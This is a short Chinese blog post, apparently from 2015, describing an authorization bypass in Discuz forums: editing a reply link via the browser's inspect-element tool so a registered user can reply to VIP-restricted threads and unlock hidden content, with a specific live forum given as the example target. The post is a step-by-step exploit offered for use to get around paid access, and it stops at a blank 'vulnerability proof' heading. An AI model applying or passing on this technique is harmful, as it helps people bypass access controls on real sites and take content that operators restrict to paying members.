首页 信息安全

Discuz的一处越权操作 强制回复无权限帖子

发布时间:2015年05月26日 评论数：抢沙发 阅读数：34493

我们先注册账号



随便找一处vip教程



接下来 我们审查元素



找到这段代码  
然后修改
<a href="http://xxx.xxx.xxx/forum.php?mod=post&amp;action=reply&amp;fid=170&amp;tid=9310" onclick="showWindow('reply', this.href)">回复</a>
xxx.xxxx.xx代表该论坛的网址
合购vip  就用
<a href="http://www.hegouvip.com/forum.php?mod=post&amp;action=reply&amp;fid=170&amp;tid=9310" onclick="showWindow('reply', this.href)">回复</a>

接着  我们再点回复




然后就可以获取特定用户群才能回复且必须回复才能获得隐藏内容的内容了

漏洞证明：